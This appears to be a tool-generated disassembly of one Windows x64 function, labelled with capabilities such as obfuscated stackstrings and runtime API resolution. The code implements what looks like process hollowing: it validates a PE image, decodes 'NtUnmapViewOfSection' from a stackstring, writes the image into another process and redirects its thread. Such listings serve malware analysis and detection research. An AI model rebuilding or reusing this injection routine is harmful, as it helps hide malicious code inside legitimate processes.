Function at 0x140041160
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov qword [rbp - 0x78], 0xfffffffffffffffe
mov qword [rax + 0x20], rbx
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov r14, r8
mov rsi, rdx
mov r13, rcx
xor r12d, r12d
mov bl, r12b
mov byte [rsp + 0x60], bl
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
or dword [rsp + 0x64], 0xffffffff
lea rcx, [rsp + 0x64]
call fcn.14003d028
mov dil, r12b
mov r15b, byte [rbp + 0xd8]
test r15b, r15b
je 0x140041282
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r12b
mov r9b, byte [rbp + 0xd0]
lea r8, [rbp + 0x20]
lea rdx, [rsp + 0x78]
mov ecx, eax
call fcn.14000aba8
test al, al
je 0x14004123e
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14004123e
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
call fcn.14000f558
test eax, eax
je 0x14004123e
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x68]
call fcn.14000f66c
movzx edi, r12b
test eax, eax
lea eax, [r12 + 1]
cmovne edi, eax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140041279
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041274
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041822
call fcn.1400162b4
test dil, dil
je 0x1400417f3
lea rdx, [0x140064df0]
lea rcx, [rbp + 0x20]
call fcn.14000127c
cmp qword [rax + 0x18], 0x10
jb 0x14004129c
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400412e3
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400412de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041828
call fcn.1400162b4
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r12b
test rdi, rdi
je 0x1400417f3
lea rdx, [0x140063fe0]
lea rcx, [rbp]
call fcn.14000127c
cmp qword [rax + 0x18], 0x10
jb 0x140041317
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735f0], rax
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140041365
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041360
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004182e
call fcn.1400162b4
lea rdx, [0x140064010]
lea rcx, [rbp]
call fcn.14000127c
cmp qword [rax + 0x18], 0x10
jb 0x14004137f
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735e8], rax
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400413cd
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400413c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041834
call fcn.1400162b4
lea rdx, [0x140064040]
lea rcx, [rbp]
call fcn.14000127c
cmp qword [rax + 0x18], 0x10
jb 0x1400413e7
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735e0], rax
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140041435
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041430
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004183a
call fcn.1400162b4
mov eax, 0x5a4d
cmp word [r13], ax
jne 0x1400416be
movsxd rax, dword [r13 + 0x3c]
lea rbx, [rax + r13]
cmp dword [rbx], 0x4550
jne 0x1400416ba
lea rdx, [rsp + 0x64]
mov rcx, rsi
call fcn.14003e208
mov ecx, 0x14c
mov eax, dword [rsp + 0x64]
cmp word [rbx + 4], cx
jne 0x14004147d
test eax, eax
jne 0x1400417f3
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x140041491
cmp eax, 6
jne 0x1400417f3
lea rdi, [rbp + 0x20]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x70]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x70], edx
mov dword [rbp - 0x34], 0x101
mov word [rbp - 0x30], r12w
lea rax, [rbp + 0x20]
test r15b, r15b
je 0x1400414e9
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov r8, r14
mov rdx, rsi
mov rcx, qword [rsp + 0x70]
call fcn.140048aa8
jmp 0x140041502
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov rdx, r14
mov rcx, rsi
call fcn.140048c08
test eax, eax
je 0x1400416ba
mov edx, 0xc
call fcn.14000f768
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call fcn.140048d30
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x1400416b5
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x80]
call qword [0x1400735f0]
lea r12, [rbx + 0x30]
mov rdx, qword [r12]
mov eax, dword [rbp - 0x80]
xor r15d, r15d
cmp rax, rdx
jne 0x1400415dc
mov dword [rbp + 0x43], 0x642e6c6c
mov word [rbp + 0x48], 0x6c
mov byte [rbp + 0x47], 0x6c
mov word [rbp + 0x40], 0x746e
mov byte [rbp + 0x42], 0x64
mov dword [rbp + 1], 0x6d6e5574
mov word [rbp + 0x10], 0x6974
mov word [rbp + 0x13], 0x6e
mov dword [rbp + 0xa], 0x53664f77
mov dword [rbp + 6], 0x65695670
mov word [rbp + 0xe], 0x6365
mov byte [rbp], 0x4e
mov byte [rbp + 0x12], 0x6f
mov byte [rbp + 5], 0x61
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rbp + 0x20]
call rax
mov rdx, qword [rbx + 0x30]
neg byte [rbp + 0xc8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp + 0x20]
call fcn.14000f858
mov r14, rax
mov rcx, qword [rbp + 0x20]
test rax, rax
je 0x1400416ab
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rdx, rax
call fcn.14003f234
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x14004165e
add rsi, rbx
lea r12d, [rax + 1]
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r13
mov edx, dword [rsi - 8]
add rdx, r14
mov rcx, qword [rbp + 0x20]
call fcn.14003f234
lea rsi, [rsi + 0x28]
add r15d, r12d
movzx eax, word [rbx + 6]
cmp r15d, eax
jl 0x140041631
lea r12, [rbx + 0x30]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp + 0x20]
call fcn.14003f234
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rbp + 0x28]
call qword [0x1400735e8]
mov rcx, qword [rbp + 0x28]
call qword [0x1400735e0]
mov eax, 1
mov bl, al
xor r12d, r12d
jmp 0x1400416be
call fcn.14003f328
xor r12d, r12d
jmp 0x1400416ba
call fcn.14003f328
mov bl, byte [rsp + 0x60]
cmp qword [rsp + 0x68], r12
je 0x1400417cc
lea rdx, [0x140064060]
lea rcx, [rbp + 0x20]
call fcn.14000127c
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400416e4
mov rax, qword [rax]
mov rcx, rax
call fcn.1400074f8
mov rdi, rax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14004172a
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041725
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041840
call fcn.1400162b4
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r12b
test rdi, rdi
je 0x1400417cc
lea rdx, [0x140064080]
lea rcx, [rbp]
call fcn.14000127c
cmp qword [rax + 0x18], 0x10
jb 0x14004175e
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140073618], rax
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400417af
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400417a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004181c
call fcn.1400162b4
mov rax, qword [0x140073618]
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], r12b
test rax, rax
je 0x1400417cc
mov rcx, qword [rsp + 0x68]
call rax
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400417e0
call fcn.140047a18
mov qword [rsp + 0x70], r12
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400417ef
call fcn.140047a18
mov al, bl
jmp 0x1400417f5
xor al, al
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140016290
mov rbx, qword [rsp + 0x1b8]
add rsp, 0x160
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14001a784
int3
call fcn.14001a784
int3
call fcn.14001a784
int3
call fcn.14001a784
int3
call fcn.14001a784
int3
call fcn.14001a784
int3
call fcn.14001a784
int3